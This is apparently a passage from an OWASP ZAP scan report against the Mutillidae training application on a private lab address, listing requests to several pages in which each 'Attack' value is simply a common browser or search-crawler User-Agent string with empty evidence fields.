Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php&username=anonymous
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php&username=anonymous
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php&username=anonymous
Method	GET
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php&username=anonymous
Method	GET
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php&username=anonymous
Method	GET
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php&username=anonymous
Method	GET
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php&username=anonymous
Method	GET
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	

URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)

Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
URL	http://192.168.0.9/mutillidae/javascript
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
URL	http://192.168.0.9/mutillidae/javascript
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
URL	http://192.168.0.9/mutillidae/javascript
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
URL	http://192.168.0.9/mutillidae/javascript
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
URL	http://192.168.0.9/mutillidae/javascript
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
URL	http://192.168.0.9/mutillidae/javascript
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	

URL	http://192.168.0.9/mutillidae/javascript
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
URL	http://192.168.0.9/mutillidae/javascript
Method	GET
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
URL	http://192.168.0.9/mutillidae/javascript
Method	GET
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
URL	http://192.168.0.9/mutillidae/javascript
Method	GET
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
URL	http://192.168.0.9/mutillidae/javascript
Method	GET
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
URL	http://192.168.0.9/mutillidae/javascript
Method	GET
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
URL	http://192.168.0.9/mutillidae/javascript/ddsmoothmenu
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
URL	http://192.168.0.9/mutillidae/javascript/ddsmoothmenu
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
URL	http://192.168.0.9/mutillidae/javascript/ddsmoothmenu
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
URL	http://192.168.0.9/mutillidae/javascript/ddsmoothmenu
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	

URL	http://192.168.0.9/mutillidae/javascript/ddsmoothmenu
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
URL	http://192.168.0.9/mutillidae/javascript/ddsmoothmenu
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
URL	http://192.168.0.9/mutillidae/javascript/ddsmoothmenu
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
URL	http://192.168.0.9/mutillidae/javascript/ddsmoothmenu
Method	GET
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
URL	http://192.168.0.9/mutillidae/javascript/ddsmoothmenu
Method	GET
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
URL	http://192.168.0.9/mutillidae/javascript/ddsmoothmenu
Method	GET
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
URL	http://192.168.0.9/mutillidae/javascript/ddsmoothmenu
Method	GET
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
URL	http://192.168.0.9/mutillidae/javascript/ddsmoothmenu
Method	GET
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
URL	http://192.168.0.9/mutillidae/styles
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
URL	http://192.168.0.9/mutillidae/styles
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)

Evidence	
URL	http://192.168.0.9/mutillidae/styles
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
URL	http://192.168.0.9/mutillidae/styles
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
URL	http://192.168.0.9/mutillidae/styles
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
URL	http://192.168.0.9/mutillidae/styles
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
URL	http://192.168.0.9/mutillidae/styles
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
URL	http://192.168.0.9/mutillidae/styles
Method	GET
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
URL	http://192.168.0.9/mutillidae/styles
Method	GET
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
URL	http://192.168.0.9/mutillidae/styles
Method	GET
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
URL	http://192.168.0.9/mutillidae/styles
Method	GET
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
URL	http://192.168.0.9/mutillidae/styles
Method	GET

Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
URL	http://192.168.0.9/mutillidae/styles/ddsmoothmenu
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
URL	http://192.168.0.9/mutillidae/styles/ddsmoothmenu
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
URL	http://192.168.0.9/mutillidae/styles/ddsmoothmenu
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
URL	http://192.168.0.9/mutillidae/styles/ddsmoothmenu
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
URL	http://192.168.0.9/mutillidae/styles/ddsmoothmenu
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
URL	http://192.168.0.9/mutillidae/styles/ddsmoothmenu
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
URL	http://192.168.0.9/mutillidae/styles/ddsmoothmenu
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
URL	http://192.168.0.9/mutillidae/styles/ddsmoothmenu
Method	GET
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
URL	http://192.168.0.9/mutillidae/styles/ddsmoothmenu
Method	GET
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
URL	http://192.168.0.9/mutillidae/styles/ddsmoothmenu
Method	GET

Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
URL	http://192.168.0.9/mutillidae/styles/ddsmoothmenu
Method	GET
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
URL	http://192.168.0.9/mutillidae/styles/ddsmoothmenu
Method	GET
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	

URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0

Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	POST
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	POST
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	POST
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	POST
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	POST
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	POST

Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	POST
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	POST
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	POST
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	POST
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	POST
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=login.php

Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	

URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	POST
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	POST
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	POST
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	POST
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	POST
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	POST

Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	POST
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	POST
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	POST
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	POST
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	POST
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
